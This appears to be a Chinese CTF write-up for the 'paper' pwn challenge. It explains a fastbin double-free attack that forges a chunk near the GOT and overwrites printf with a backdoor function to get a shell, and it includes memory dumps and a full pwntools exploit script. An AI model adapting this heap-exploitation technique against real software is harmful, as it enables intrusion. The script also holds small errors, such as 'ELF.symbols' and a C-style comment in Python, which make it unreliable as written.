xuanxuan : https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
Write_Some_Paper
申请不同的编号有影响吗????
怎么getshell呢?
首先是获取任意或者受限制的地址读写的能力,然后修改关键函数等,比如修改got表,把函数地址替换成system或者后门函数地址,然后再执行的时候就getshell了
怎么实现地址写?
利用double free,可以操控堆块的fd,从而实现把任意地址当作bin来进行申请空间,这样就获得了该地址的读写能力
double free
1 2 3 4 5 6 7 8 9
| add(0,40,"h") add(1,40,"h") delete(0) delete(1) delete(0) add(2,40,p64(0x60203a)) add(3,40,"bbb") add(3,40,"bbb") add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg']))
|
申请堆块时的地址约束
即size字段需要是fastbin这个链的大小,即目标地址的前8个字节需要满足,64位下这8个字节只要低4个字节满足就可以了。所以通过这种方式,我们可以控制的内存是需要满足一定约束的内存。也可以称这种满足要求的内存部分为伪堆块。获得这种内存有两种方式:
- 寻找是否有天然满足伪堆块的约束的内存
- 想办法构造伪堆块
8字节prev_size 随意 , 8字节size(64位下前4字节满足大小,如0x40大小),要覆盖的fd(要修改的内存地址)
要找到覆盖的函数,
1 2 3 4 5 6 7 8 9
| pwndbg> x/16gx 0x602000 0x602000: 0x0000000000601e28 0x00007ffff7ffe168 0x602010: 0x00007ffff7dee0b0 0x00007ffff7a91a70 0x602020: 0x00007ffff7a7d5d0 0x00007ffff7a7c0e0 0x602030: 0x0000000000400746 0x0000000000400756 0x602040: 0x00007ffff7a637b0 0x00007ffff7a2e740 0x602050: 0x0000000000400786 0x00007ffff7a493b0 0x602060: 0x00007ffff7a91550 0x00007ffff7a7ddb0 0x602070: 0x00007ffff7a79480 0x00000000004007d6
|
这几个地方都可以作为size
1 2 3 4 5 6 7 8 9 10 11 12 13
| 0x602000: 0x28 0x1e 0x60 0x00 0x00 0x00 0x00 0x00 0x602008: 0x68 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x00 0x602010: 0xb0 0xe0 0xde 0xf7 0xff 0x7f 0x00 0x00 0x602018 <free@got.plt>: 0x70 0x1a 0xa9 0xf7 0xff 0x7f 0x00 0x00 0x602020 <puts@got.plt>: 0xd0 0xd5 0xa7 0xf7 0xff 0x7f 0x00 0x00 0x602028 <fread@got.plt>: 0xe0 0xc0 0xa7 0xf7 0xff 0x7f 0x00 0x00 0x602030 <__stack_chk_fail@got.plt>: 0x46 0x07 0x40 0x00 0x00 0x00 0x00 0x00 0x602038 <system@got.plt>: 0x56 0x07 0x40 0x00 0x00 0x00 0x00 0x00 0x602040 <printf@got.plt>: 0xb0 0x37 0xa6 0xf7 0xff 0x7f 0x00 0x00 0x602048 <__libc_start_main@got.plt>: 0x40 0xe7 0xa2 0xf7 0xff 0x7f 0x00 0x00 0x602050 <__gmon_start__@got.plt>: 0x86 0x07 0x40 0x00 0x00 0x00 0x00 0x00 0x602058 <strtol@got.plt>: 0xb0 0x93 0xa4 0xf7 0xff 0x7f 0x00 0x00 0x602060 <malloc@got.plt>: 0x50 0x15 0xa9 0xf7
|
根据这个来选择申请的堆块的大小
注意大小端的问题,这里选取这里作为伪造的chunk的size,然后后面是可控的数据,注意不要把system破坏了,然后把printf修改成后们地址即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level= "debug"
io = process("./paper") elf = ELF("./paper")
def add(num,length,context): io.sendlineafter("delete paper","1") io.sendlineafter("(0-9):",str(num)) io.sendlineafter("enter",str(length)) io.sendlineafter("content",context) def delete(index): io.sendlineafter("delete paper","2") io.sendlineafter("(0-9):",str(index)) add(0,40,"h") add(1,40,"h") delete(0) delete(1) delete(0) add(2,40,p64(0x60203a))//这个需要填入覆盖地址了 add(3,40,"bbb") add(3,40,"bbb") add(4,40,"\x40\x00\x00\x00\x00\x00"+p64(ELF.symbols['gg']))
io.recv(1024) io.sendline("a")
io.interactive()
|